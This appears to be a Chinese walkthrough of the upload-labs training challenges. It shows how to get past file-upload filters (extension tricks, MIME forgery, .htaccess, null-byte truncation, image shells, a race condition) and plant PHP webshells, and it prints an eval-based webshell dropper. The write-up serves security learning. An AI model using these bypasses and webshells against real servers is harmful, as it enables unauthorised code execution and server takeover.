1、pass-01(前端js校验)
前端js校验就是这个网站的拦截位置在前端,而不是后端,所以我们需要把前端的校验方法删掉就可以了,找到上传文件的位置,找到校验方式,删掉
创建一个php文件,里面是我们的一句话木马
上传我们的木马文件
这样我们的木马就成功上传了,然后我们用蚁剑连一下看看是否成功
首先访问木马
访问成功后把地址输入到蚁剑里,测试连接
连接成功,那这样我们就成功了
2、pass-02(文件类型校验)
文件类型校验是后端的校验方式,所以我们需要把送到后端的文件类型改成符合条件的才可以
我们还是上传一个php文件去抓包看一下
我们可以看到包里的文件类型不是图片类型,那我们修改一下
把文件类型改为图片格式的就可以了,然后放行
测试连接
连接成功
这一关我们还可以上传一个jpg文件,然后把包里的jpg后缀改为php就可以了
3、pass-03(黑名单绕过)
黑名单绕过我们只需要避开黑名单里包含的文件名就可以了,比如php后缀可以改为php3、php5、phtml等
那么我们创建一个phtml后缀的文件
上传文件
上传成功,测试连接
连接成功
4、.htaccess绕过
这一关可以看到我们普通的绕过方式都被限制了,所以我们只能上传图片,但是图片不能被当做木马使用,所以我们需要借助.htaccess文件来实现木马的运行
新建一个木马文件,并要改为图片格式,再新建一个.htaccess文件,把配置信息放到文件里
<FilesMatch "4.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
上传我们的图片木马
上传成功之后去访问一下
这是正常的,因为我们的木马现在用不了,接下来再去上传我们的配置文件
上传之后刷新我们的图片木马
这样我们的木马就能用了,去测试连接
连接成功
5、pass-05(后缀大小写绕过)
这关就比较简单了,只需要修改php文件后缀名的大小写就可以了类似Php、PHp、PHP、pHp、等等
直接新建文件的时候就把后缀名改了
上传文件
测试连接
连接成功
6、pass-06(空格绕过)
这关的原理就是虽然网站不让我们上传php文件,但是当我们在后面加个空格的时候他就识别不出来了,所以我们上传的文件名里需要有个空格,但是我们新建的时候是无法直接在后面加个空格的,因为Windows系统会把我们的空格自动删掉,所以需要用到抓包工具
还是新建一个php文件,上传,抓包
抓到包之后,在文件名后加个空格就好了
然后放行,这样就成功传入了我们木马
测试连接
连接成功
7、pass-07(点绕过)
这关和上一关一样,只是把空格换成了点,点也是会被Windows自动删掉的
还是新建文件,抓包
在后缀名的最后加个点,放行
测试连接
8、pass-08(::$data windows特性文件流绕过)
当Windows看到::$data时,会把它当成一个文件流,而不会把它当成一个文件,所以我们可以利用这个特性,在文件名的后面加上::$data来实现绕过
那么步骤就和上两关一样了,新建文件,上传,抓包
在后缀名加上::$data
放行,可以看到上传成功
测试连接
报错了,这是因为::$data是文件流,浏览器不认识,我们需要把它删掉
这样就成功了
9、pass-09(构造后缀绕过)
构造后缀就是需要我们自己去构造一个后缀名,这一关需要我们看一下源码
我们看到了他会删除末尾的点,以及收尾去空,那我们就可以多加一个空格和点让他删,所以我们需要构造一个后缀名点空格点,为什么要是点空格点的形式呢?我们从上往下看源码,第一个删的是末尾的点,第二个删的是空格,经过这两步我们就会发现我们的后缀名变成了:后缀名点,那么最后一个点是干嘛的相信大家心知肚明了,如果没有这个点,那我们的后缀就暴露出来了,会被拦截,如果有的话它就认不出来了,接下来我们就去操作了
新建文件,上传,抓包
抓到包之后,构造一个后缀名点空格点
放行
测试连接
10、pass-10(双写文件后缀绕过)
这关的原理就是当我们用php后缀名时,网站会对关键词php识别,然后删掉,我们需要多构建一个php后缀名,让它删掉php这个关键词之后我们还会有一个php,那么如何构造呢?没错,就是双写后缀名:pphphp,我们把php插入到php里面,这样当网站识别到php的时候识别的是我们标红的php,它删完之后我们剩下的字符刚好组成一个php,而这个时候我们已经进来了,网站已经拦不住我们了,那为什么不这样写呢?phphpp 因为这个时候网站第一个识别到的是开头的php,当网站删掉php之后我们只剩hpp了,明白这些之后接下来我们do it
新建10.php文件,抓包
双写后缀名pphphp
测试连接
11、pass-11(%00截断绕过get)
我们先提交一个php文件看一下
告诉我们上传.jpg等类型的文件,我们修改一下文件名再上传
这里发现网站把我们的文件名转换成了我们不认识的文件,那既然这样的话我们的木马自然写不进去了,接下来我们抓包看一下
save_path的意思是保存的路径。说明我们文件被转义之后在这个路径下,这时我们就可以用到截断符,让我们的jpg文件里的内容保存到我们新建的一个文件里,再把后面的文件截断,放行
可以看到我们的路径多了一个111.php。这个时候我们刚刚上传的11.jpg里的内容已经被我们传到111.php里了,而后面的东西也被我们截断了,这个时候我们去访问111.php
访问
访问成功了,测试连接
12、pass-12(%00截断绕过POST)
这一关和上一关一样,就是多了个需要把%00解码的步骤
新建文件,抓包
修改文件名
截断
解码:选中,鼠标右键,转换,URL,解码
解码完成后,放行
测试连接
13、pass-13(图片马)
这一关我们php文件和图片文件都传不上去了,我们看一下源码
发现网站对我们文件里面的内容读二字节,那我们在我们的文件里写个文件头:GIF89a
然后再上传文件发现可以上传了
图片马不能单独用,需要配合文件包含漏洞一起使用,运行图片马中的恶意代码,我们点击文件包含漏洞看一下
这里告诉我们在这里测试运行,那我们去运行我们的图片,我们需要让我们的图片马在网页上运行,需要用到file运行
测试连接
14、pass-14(图片马)
这关和上一关一样
创建jpg文件,并把GIF头写进去
上传文件,得到文件位置
利用文件包含漏洞,访问文件
测试连接
15、pass-15(图片马)
这关和上两关的步骤一样,这里就不演示了
16、pass-16(二次渲染)
二次渲染就是当我们的图片传到对面的服务器上时,它会把我们的图片里的某些东西打乱,但是不会影响我们图片的正常显示,所以我们需要在自己原有图片的基础上插入一些东西,把这样的图片放进去就可以了,我这里有现成的我就不放了
上传图片文件
访问这个图片
测试连接
暂时连不上,明天再说
17、pass-17(条件竞争)
上传能够输出木马的木马文件,但是上传的这个木马文件很快就会被删除,所以我们需要不停的上传,直到生成了新的木马才可以
创建木马,这条语句的意思是在当前目录生成一个webshell,里面是一句话木马
<?php fputs(fopen('webshell.php','w'),'<?php @eval($_POST["cmd"])?>');?>
上传文件,抓包
抓到包之后发送到攻击模块,在payload里选择无限重复
开始攻击
等一会我们就可以访问到我们的webshell.php文件了
测试连接
18、/.绕过
这关我们可以上传一个图片文件,保存名称为一个php文件,我们可以上传一个图片木马
这里的.是用来被删除的,斜杠使用来被当做路径的,然后上传
访问
测试连接